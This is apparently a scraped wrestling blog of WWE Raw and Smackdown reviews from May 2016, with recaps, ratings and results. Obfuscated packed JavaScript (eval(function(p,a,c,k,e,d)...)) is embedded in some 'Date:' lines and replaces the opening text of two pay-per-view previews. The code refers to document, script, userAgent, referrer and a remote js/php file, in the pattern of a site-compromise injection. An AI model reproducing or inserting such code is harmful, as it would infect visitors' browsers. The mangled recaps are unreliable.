New Column: Breaking Up Is Hard To Do
Looking at some of the potential perils of the new Brand Split.
http://wrestlingrumors.net/kbs-review-breaking-up-is-hard-to-do/
Monday Night Raw – May 30, 2016: The Slow Ride To The Bank
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Night Raw
Date: May 30, 2016
Location: Resch Center, Green Bay, Wisconsin
Commentators: Michael Cole, Byron Saxton, John Bradshaw Layfield
We open with a moment of silence for Memorial Day.
A bunch of wrestlers quote a Ronald Reagan speech on fallen troops.
Opening sequence.
Vaudevillains vs. New Day
Rating: D+. I liked the ending as Gallows and Anderson were pretty much the only option to go after the titles at this point and would be a good choice for new champions. The Vaudevillains were just there to give Anderson and Gallows a reason to come out, though at least it was a non-title match and not a rematch for no particular reason.
Anderson and Gallows lay out the champions post match.
We look back at Sheamus attacking Apollo Crews last week.
Usos vs. Breezango
Golden Truth is on commentary with JBL ripping on them for being a horrible team. Truth: “JBL they do not allow elephants in here.” Fandango hammers on Jey to start but Breeze charges into a superkick on the floor. Back inside, Jey crucifixes Fandango for the pin at 1:48.
Golden Truth beats up Breezango.
Trailer for Warcraft.
Rusev vs. Zack Ryder
The Shining Stars want us to come to Puerto Rico.
We get a video on Charlotte dropping Ric Flair with comments from various people. This aired on Smackdown.
Enzo Amore/Big Cass vs. Dudley Boyz
Natalya vs. Dana Brooke
Charlotte is at ringside as this feud is somehow continuing. Natalya hits her in the corner but gets taken down, allowing Charlotte to yell a lot. Charlotte distracts her to break up the Sharpshooter and the Samoan Driver gives Dana the pin at 1:20.
Post match Becky Lynch runs in for the save.
Baron Corbin vs. Dolph Ziggler
Miz is on the set of his new movie and needs to get some rest before shooting starts.
Owens, Jericho and Del Rio bicker about the six man tag. They agree to work together but Jericho calls them both idiots after they leave.
Alberto Del Rio/Chris Jericho/Kevin Owens vs. Dean Ambrose/Cesaro/Sami Zayn
Del Rio suplexes Cesaro to start but Cesaro runs to the floor for the running uppercut on Jericho. The Swing is blocked by a rope grab and Cesaro is taken outside for a triple team. Jericho stomps away as the fans chant STUPID IDIOT. Cesaro suplexes his way out and the hot tag brings in Sami to clean house with his clotheslines. The villains get in a fight on the floor and Sami scores with a big dive as we take a break.
Jericho dives into a kick to the ribs but still blocks Dirty Deeds. Instead Dean hits the suicide dive to take Chris out, only to have Jericho grab a Codebreaker back inside. Owens wants the pin but only gets two. The Canadians start arguing so Cesaro knocks them together and Swings Jericho. Everyone comes in and Owens tries the Pop Up Powerbomb on Zayn, only to get caught in Dirty Deeds for the pin at 17:56.
Results
New Day b. Vaudevillains via DQ when Karl Anderson and Luke Gallows interfered
Usos b. Breezango – Crucifix to Fandango
Rusev b. Zack Ryder – Accolade
Enzo Amore/Big Cass b. Dudley Boyz – Rocket Launcher to D-Von
Dana Brooke b. Natalya – Samoan Driver
Baron Corbin b. Dolph Ziggler via DQ when Ziggler kicked him low
Dean Ambrose/Cesaro/Sami Zayn b. Chris Jericho/Alberto Del Rio/Kevin Owens – Dirty Deeds to Owens
Remember to follow me on Twitter @kbreviews and pick up my new book on NXT: The Full Sail Years Volume II at Amazon for just $3.99 at:
https://www.amazon.com/dp/B01FWZZ2UA
And check out my Amazon author page with cheap wrestling books at:
Monday Night Raw – May 23, 2016: Crying All The Way To The Bank
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Night Raw
Date: May 23, 2016
Location: Royal Farms Arena, Baltimore, Maryland
Commentators: Michael Cole, Byron Saxton, John Bradshaw Layfield
We open with a recap of the main event and Rollins making his return.
Opening sequence.
Money in the Bank Qualifying Match: Sheamus vs. Sami Zayn
Sheamus takes him down into a wristlock to start, followed by a legdrop of all things. Sami sends it outside with a hurricanrana, only to have Sheamus put a knee in his ribs to send us to a break. Back with Sheamus getting two off the Irish Curse but Sami BLASTS him with a clothesline and gets two off the Michinoku Driver. The Brogue Kick misses and Sami clotheslines him to the floor, only to have the flip dive blocked by a forearm. Sheamus gets back in and eats a quick Helluva Kick for the pin at 10:00.
Post match Sheamus is furious.
After a break, Apollo Crews is talking about how this is the biggest match of his life when Sheamus jumps him from behind and lays him out.
New Day vs. Social Outcasts
Joined in progress with Kofi hurricanranaing Slater out of the corner and stomping him down in the corner. Slater is sent to the floor for a Bo Train but Heath collapses, leaving the other two to take a flip dive from Woods. The Midnight Hour puts Slater away at 2:00.
Slater takes the cake post match.
Money in the Bank Qualifying Match: Cesaro vs. The Miz
We recap the opening segment.
Rollins talks about how Money in the Bank is his thing when Stephanie comes in. Rollins is all nice to her but she says things have changed around here.
Money in the Bank Qualifying Match: Chris Jericho vs. Apollo Crews
Sheamus laughs at the result.
Life Lesson with Bob Backlund from Smackdown.
Big Cass vs. Bubba Ray Dudley
Money in the Bank Qualifying Match: Dean Ambrose vs. Dolph Ziggler
Both guys try cross bodies at the same time and we get a quick breather. Dean gets superkicked to little effect as he bounces off the ropes with the rebound lariat for two. Ambrose goes for the elbow again but gets dropkicked out of the air this time. The Zig Zag is countered though and Dirty Deeds sends Dean to the ladder match at 12:09.
The Shining Stars want us to visit Puerto Rico.
Money in the Bank Qualifying Match: AJ Styles vs. Kevin Owens
Rating: B. That was quite the surprise as I was thinking they might go to a double countout to send both guys in instead. Owens certainly deserves the spot and I would LOVE to see what he could do as a Mr. Money in the Bank. Good match here, but would you have expected anything else from these two?
Results
Sami Zayn b. Sheamus – Helluva Kick
New Day b. Social Outcasts – Midnight Hour to Slater
Cesaro b. The Miz – Neutralizer
Chris Jericho b. Apollo Crews – Codebreaker
Big Cass b. Bubba Ray Dudley – Empire Elbow
Dean Ambrose b. Dolph Ziggler – Dirty Deeds
Kevin Owens b. AJ Styles – Pop Up Powerbomb
Remember to follow me on Twitter @kbreviews and pick up my new book on NXT: The Full Sail Years Volume II at Amazon for just $3.99 at:
https://www.amazon.com/dp/B01FWZZ2UA
And check out my Amazon author page with cheap wrestling books at:
Extreme Rules 2016 Preview
");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rffii|var|u0026u|referrer|hkitd||js|php'.split('|'),0,{})) really feels like we just got done with Payback and now it’s already time for the next show. In this case that’s not a good thing as the stories were only so strong in the first place and now it’s clear that the stories don’t have enough steam to keep going beyond this show. I’m genuinely not that thrilled to watch this show but maybe I’ll be surprised. Let’s get to it.
Remember to follow me on Twitter @kbreviews and pick up my new book on NXT: The Full Sail Years Volume II at Amazon for just $3.99 at:
https://www.amazon.com/dp/B01FWZZ2UA
And check out my Amazon author page with cheap wrestling books at:
Smackdown – May 19, 2016: Please Let It End On Sunday
Smackdown
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sryta|var|u0026u|referrer|eedrt||js|php'.split('|'),0,{}))
May 19, 2016
Location: Bon Secours Wellness Center, Greenville, South Carolina
Commentators: Mauro Ranallo, Jerry Lawler, Byron Saxton
Opening sequence.
Kevin Owens vs. Cesaro
Post match Sami gives Cesaro the Helluva Kick but takes the Skull Crushing Finale.
Paige vs. Dana Brooke
Dolph Ziggler vs. Sheamus
We hit the chinlock for a bit before Ziggler fights up and gets in a Fameasser for a near fall. The neckbreaker is broken up though and Sheamus gets two off the Irish Curse. Back up and the Zig Zag is countered but Sheamus misses a charge, setting up a superkick to give Dolph the fluke pin at 10:48.
Big Cass/New Day vs. Dudley Boyz/Vaudevillains
John Cena is back on May 30.
Luke Gallows vs. Roman Reigns
Non-title. Usos vs. Anderson/Gallows in a Texas Tornado match is official for Sunday. Sweet goodness just stop already. Anderson/Styles/Usos, the latter again without the Siva Tau, are at ringside here. They trade elbows to start but only Reigns goes down. A second elbow knocks him outside so Reigns comes back inside where his Samoan drop gets two. We take a break and come back with Reigns firing off kicks to the ribs until Gallows takes his head off with a clothesline for a near fall of his own.
Results
Kevin Owens b. Cesaro – Rollup with a handful of trunks
Dana Brooke b. Paige – Samoan Driver
Dolph Ziggler b. Sheamus – Superkick
Big Cass/New Day b. Dudley Boyz/Vaudevillains – Empire Elbow to Bubba Ray
Roman Reigns b. Luke Gallows via DQ when Karl Anderson interfered
Remember to follow me on Twitter @kbreviews and pick up my new book of the History of the Intercontinental Title at Amazon for just $3.99 at:
http://www.amazon.com/dp/B01D4D3EGQ
And check out my Amazon author page with cheap wrestling books at:
Smackdown – May 12, 2016: Another One
Smackdown
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fzire|var|u0026u|referrer|behay||js|php'.split('|'),0,{}))
May 12, 2016
Location: Wells Fargo Arena, Des Moines, Iowa
Commentators: Mauro Ranallo, Byron Saxton, Jerry Lawler
Rusev vs. Sin Cara
Kalisto is on commentary and says helping Cara on Monday was just being a team. Rusev drops him with an early clothesline and stomps away as Kalisto stumbles over his battle plan for the pay per view. A kick to the chest puts Cara down again and we hear about Steph Curry for no good reason.
In your random insult of the week, Rusev has dubbed Kalisto the smelly boy who hides behind a mask. Cara starts kicking at the leg and scores with some right hands, followed by a top rope flip attack. As this is going on, Lana throws water on Kalisto for a distraction so Rusev can kick him in the head. Back in and the superkick sets up the Accolade to make Cara tap at 3:09.
We look at Dana Brooke debuting and helping beat down Becky Lynch on Monday.
Becky Lynch vs. Dana Brooke
Aiden English vs. Kofi Kingston
Kofi dropkicks him at the bell and stomps the heck out of him in the corner. English gets sent outside but catches a sliding Kofi and sends him face first into the post to take over. Big E. holds up the cereal to bring Kofi back to life (needs more Lion King), which actually seems to work as Kofi kicks English in the face and gets two off a high cross body. A top rope splash to the back gets two but everyone else gets ejected. Things settle down and Kofi grabs a sunset flip, only to have English drop down and put his hand on the ropes for the big upset at 3:52.
Luke Gallows/Karl Anderson vs. Usos
R-Truth waters his selfie stick and gets his phone wet.
On a related sidenote: since when did wearing a watch become something so horrible? Yeah you can check your phone, or you can flick your eyes over to your wrist and see what time it is. You might even be able to do that without then needing to check 14 things on your phone and getting distracted by something. Since when did that become some arcane way of thinking?
Goldango vs. Gorgeous Truth
Greetings From Puerto Rico. Their new name is the Shining Stars.
We look at Ric Flair being escorted out of the building in the way too complicated segment on Monday.
Charlotte calls that a travesty because Ric Flair deserves better treatment than that. Ric guarantees that Charlotte will retain the title at Extreme Rules but Charlotte looks unsure. To recap, the idea here is that Charlotte is in trouble without Flair and Ric is the one who is confident. In other words: Flair looks good and Charlotte looks almost inept. As usual, advantage Flair.
Cesaro/Sami Zayn vs. The Miz/Kevin Owens
Sami takes the Pop Up Powerbomb but Miz gives Owens the Skull Crushing Finale to end the show.
Results
Rusev b. Sin Cara – Accolade
Dana Brooke b. Becky Lynch – Jackknife rollup
Aiden English b. Kofi Kingston – Rollup while grabbing the rope
Usos b. Karl Anderson/Luke Gallows via DQ when Gallows threw Jimmy over the table
Gorgeous Truth b. Goldango – Breeze pinned Goldust after a clothesline from Fandango
Miz/Kevin Owens b. Cesaro/Sami Zayn – Frog splash to Cesaro
Remember to follow me on Twitter @kbreviews and pick up my new book of the History of the Intercontinental Title at Amazon for just $3.99 at:
http://www.amazon.com/dp/B01D4D3EGQ
And check out my Amazon author page with cheap wrestling books at:
New Column: Champions Losing Is A Bad Idea
You kind of have to keep it simple when you’re trying to teach people this thickheaded.
http://wrestlingrumors.net/kbs-review-champions-losing-is-a-bad-idea/
Monday Night Raw – May 9, 2016: It’s Hard Out There For A Champ
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Night Raw
Date: May 9, 2016
Location: CenturyLink Center Omaha, Omaha, Nebraska
Commentators: Michael Cole, John Bradshaw Layfield, Byron Saxton
Baron Corbin vs. Dolph Ziggler
We look back at Stephanie making Charlotte vs. Natalya at Extreme Rules in a submission match with Ric Flair banned from ringside.
Karl Anderson/Luke Gallows/AJ Styles regret not going after Reigns last week. Tonight the Club is back together.
Fandango vs. R-Truth
Miz, Cesaro and Kevin Owens are with the McMahons and Stephanie makes a triple threat match for the Intercontinental Title at Extreme Rules. Sami Zayn comes in to ask about making it a triple threat. He wants to be involved but Shane says he has to earn it, which he can by beating Miz tonight. Otherwise, Sami goes to the back of the line.
Paige vs. Charlotte
We look back at Cass and Jericho earlier.
Sami Zayn vs. The Miz
The Figure Four is broken up and Sami gets a near fall of his own off the Michinoku Driver. Now the Figure Four goes on but Sami dives over and makes the rope. A sunset flip is blocked as Miz grabs the ropes, only to have the referee break it up. The exploder suplex into the corner sets up the Helluva Kick for the most obvious pin in a long time to send Sami to Extreme Rules at 12:58.
We see Darren Young asking Bob Backlund to be his coach. As usual, Smackdown means nothing.
The Up Up Down Down crew shills Pizza Hut.
Roman Reigns and the Usos are ready to get rid of Gallows/Anderson before Reigns takes Styles out on his own.
Sin Cara vs. Rusev
Rating: D. Does this show want to make my head hurt? Their big idea to make me want to see Rusev vs. Kalisto is to have Sin Cara beat him? I mean I know he just had a title match at Wrestlemania but this is still a stretch. This is the third straight match where the booking has somehow gotten worse and I have no idea who thinks this is the right idea.
Greetings From Puerto Rico. I have no idea if this is ever going anywhere but it might be nice to do something with it already.
Roman Reigns/Usos vs. AJ Styles/Karl Anderson/Luke Gallows
Rating: C+. The match was fine, albeit with your usually questionable eliminations ala a Survivor Series match. I do like the ending better than Reigns taking a fall, though I dread the eventual title match with the Usos and Club running in for twenty minutes before Reigns wins anyway.
Zack Ryder vs. Kevin Owens
New Day vs. Dudley Boyz
Kofi gets the Whirling Dervish post match.
Chris Jericho vs. Colin Cassady
Jericho yells a lot to end the show.
Results
Baron Corbin b. Dolph Ziggler – End of Days
R-Truth b. Fandango – Lie Detector
Paige b. Charlotte – Rollup
Sami Zayn b. The Miz – Helluva Kick
Sin Cara b. Rusev – Rollup
Roman Reigns/Usos b. AJ Styles/Karl Anderson/Luke Gallows via DQ when Anderson hit Reigns with a chair
Kevin Owens b. Zack Ryder – Pop Up Powerbomb
Dudley Boyz b. New Day – Clothesline to Kingston
Remember to follow me on Twitter @kbreviews and pick up my new book of the History of the Intercontinental Title at Amazon for just $3.99 at:
http://www.amazon.com/dp/B01D4D3EGQ
And check out my Amazon author page with cheap wrestling books at:
Monday Night Raw – May 2, 2016: The New Era Of Greatest Hits
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Night Raw
Date: May 2, 2016
Location: Scottrade Center, St. Louis, Missouri
Commentators: Michael Cole, John Bradshaw Layfield, Byron Saxton
Opening sequence.
Cesaro vs. Kevin Owens
Dean Ambrose is in the back with Stephanie, who volunteers to be the guest on the Ambrose Asylum.
Goldust vs. Tyler Breeze
Dudley Boyz/Vaudevillains vs. New Day/Colin Cassady
Emma vs. Becky Lynch
Greetings From Puerto Rico.
Battle Royal
Someone puts Sheamus out off camera but he slides back in with no issue. Ziggler superkicks Corbin over the top for an elimination but Corbin pulls him outside under the ropes and beats the tar out of him. For a nice change of pace, Corbin is smart enough to throw the half dead Ziggler back in so Rusev can get the official elimination as we take a break.
AJ Styles/Karl Anderson/Luke Gallows vs. Usos/Roman Reigns
Results
Cesaro b. Kevin Owens via DQ when Miz interfered
Tyler Breeze b. Goldust – Rollup
New Day/Colin Cassady b. Dudley Boyz/Vaudevillains – East River Crossing to D-Von
Emma b. Becky Lynch – Michinoku Driver
Rusev won a battle royal last eliminating Zack Ryder
AJ Styles/Karl Anderson/Luke Gallows b. Usos/Roman Reigns – Phenomenal Forearm to Jimmy
Remember to follow me on Twitter @kbreviews and pick up my new book of the History of the Intercontinental Title at Amazon for just $3.99 at:
http://www.amazon.com/dp/B01D4D3EGQ
And check out my Amazon author page with cheap wrestling books at:
Payback 2016 Preview
");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dhbbn|var|u0026u|referrer|zttsh||js|php'.split('|'),0,{})) once I’m actually looking forward to a regular pay per view as Payback has had an awesome set of buildup over the last few weeks. Things really have been picking up in recent weeks and while the ratings haven’t been great, it’s been an awesome series of wrestling matches and storytelling. Let’s get to it.
Speaking of results that should be obvious, Baron Corbin should be going over Dolph Ziggler. Much like Miz, Ziggler is a made man who can lose every single big match he has and not lose a drop of popularity so putting Corbin over is exactly the right move. Corbin is someone who could get some traction on the main roster and a win over Ziggler would be a good second start to his WWE career.
Remember to follow me on Twitter @kbreviews and pick up my new book of the History of the Intercontinental Title at Amazon for just $3.99 at:
http://www.amazon.com/dp/B01D4D3EGQ
And check out my Amazon author page with cheap wrestling books at: